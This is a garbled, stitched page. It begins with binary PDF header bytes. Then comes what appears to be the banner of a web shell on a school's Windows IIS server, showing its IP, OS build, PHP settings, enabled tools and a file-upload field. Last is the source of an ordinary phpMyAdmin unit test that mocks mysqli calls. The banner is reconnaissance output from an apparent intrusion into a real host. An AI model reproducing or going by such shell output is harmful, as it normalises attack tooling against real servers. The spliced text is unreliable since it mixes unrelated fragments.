%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /inetpub/wwwroot/phpMyAdmin/test/classes/dbi/ |
Upload File : |
<?php /** * Tests for PMA\libraries\dbi\DBIMysqli class * * @package PhpMyAdmin-test */ /* * Include to test. */ use PMA\libraries\dbi\DBIMysqli; use PMA\libraries\Theme; require_once 'libraries/relation.lib.php'; require_once 'libraries/url_generating.lib.php'; require_once 'libraries/database_interface.inc.php'; require_once 'test/PMATestCase.php'; /** * Tests for PMA\libraries\dbi\DBIMysqli class * * @package PhpMyAdmin-test */ class DBIMysqliTest extends PMATestCase { /** * @access protected */ protected $object; /** * Sets up the fixture, for example, opens a network connection. * This method is called before a test is executed. * * @access protected * @return void */ protected function setUp() { $GLOBALS['cfg']['Server']['ssl'] = false; $GLOBALS['cfg']['Server']['compress'] = true; $GLOBALS['pmaThemeImage'] = 'image'; //$_SESSION $_SESSION['PMA_Theme'] = Theme::load('./themes/pmahomme'); $_SESSION['PMA_Theme'] = new Theme(); $this->object = new DBIMysqli(); } /** * Tears down the fixture, for example, closes a network connection. * This method is called after a test is executed. * * @access protected * @return void */ protected function tearDown() { unset($this->object); } /** * Test for mysqli related functions, using runkit_function_redefine * * @return void * * @group medium */ public function testMysqliDBI() { if (! PMA_HAS_RUNKIT) { $this->markTestSkipped("Cannot redefine function"); } //FOR UT, we just test the right mysql client API is called runkit_function_redefine( 'mysqli_real_connect', '', 'return "mysqli_real_connect";' ); runkit_function_redefine('mysqli_init', '', 'return "mysqli_init";'); runkit_function_redefine('mysqli_options', '', 'return "mysqli_options";'); runkit_function_redefine('mysqli_query', '', 'return "mysqli_query";'); runkit_function_redefine( 'mysqli_multi_query', '', 'return "mysqli_multi_query";' ); runkit_function_redefine( 'mysqli_fetch_array', '', 'return "mysqli_fetch_array";' ); runkit_function_redefine( 'mysqli_data_seek', '', 'return "mysqli_data_seek";' ); runkit_function_redefine( 'mysqli_more_results', '', 'return "mysqli_more_results";' ); runkit_function_redefine( 'mysqli_next_result', '', 'return "mysqli_next_result";' ); runkit_function_redefine( 'mysqli_get_host_info', '', 'return "mysqli_get_host_info";' ); runkit_function_redefine( 'mysqli_get_proto_info', '', 'return "mysqli_get_proto_info";' ); runkit_function_redefine( 'mysqli_get_client_info', '', 'return "mysqli_get_client_info";' ); $user = 'PMA_user'; $password = 'PMA_password'; $is_controluser = false; $server = array( 'port' => 8080, 'socket' => 123, 'host' => 'locahost', ); $auxiliary_connection = true; //test for connect $ret = $this->object->connect( $user, $password, $is_controluser, $server, $auxiliary_connection ); $this->assertEquals( 'mysqli_init', $ret ); //test for realQuery $query = 'select * from DBI'; $link = $ret; $options = 0; $ret = $this->object->realQuery($query, $link, $options); $this->assertEquals( 'mysqli_query', $ret ); //test for realMultiQuery $ret = $this->object->realMultiQuery($link, $query); $this->assertEquals( 'mysqli_multi_query', $ret ); //test for fetchArray $result = $ret; $ret = $this->object->fetchArray($result); $this->assertEquals( 'mysqli_fetch_array', $ret ); //test for fetchAssoc $result = $ret; $ret = $this->object->fetchAssoc($result); $this->assertEquals( 'mysqli_fetch_array', $ret ); //test for fetchRow $result = $ret; $ret = $this->object->fetchRow($result); $this->assertEquals( 'mysqli_fetch_array', $ret ); //test for dataSeek $result = $ret; $offset = 10; $ret = $this->object->dataSeek($result, $offset); $this->assertEquals( 'mysqli_data_seek', $ret ); //test for moreResults $link = $ret; $ret = $this->object->moreResults($link); $this->assertEquals( 'mysqli_more_results', $ret ); //test for nextResult $link = $ret; $ret = $this->object->nextResult($link); $this->assertEquals( 'mysqli_next_result', $ret ); //test for getHostInfo $link = $ret; $ret = $this->object->getHostInfo($link); $this->assertEquals( 'mysqli_get_host_info', $ret ); //test for getProtoInfo $link = $ret; $ret = $this->object->getProtoInfo($link); $this->assertEquals( 'mysqli_get_proto_info', $ret ); //test for getClientInfo $ret = $this->object->getClientInfo(); $this->assertEquals( 'mysqli_get_client_info', $ret ); } /** * Test for selectDb * * @return void * * @group medium */ public function testSelectDb() { $this->markTestIncomplete('Not testing anything'); //$link is empty $GLOBALS['userlink'] = null; $this->assertEquals( false, $this->object->selectDb("PMA", null) ); } /** * Test for numRows * * @return void * * @group medium */ public function testNumRows() { $this->assertEquals( 0, $this->object->numRows(true) ); } }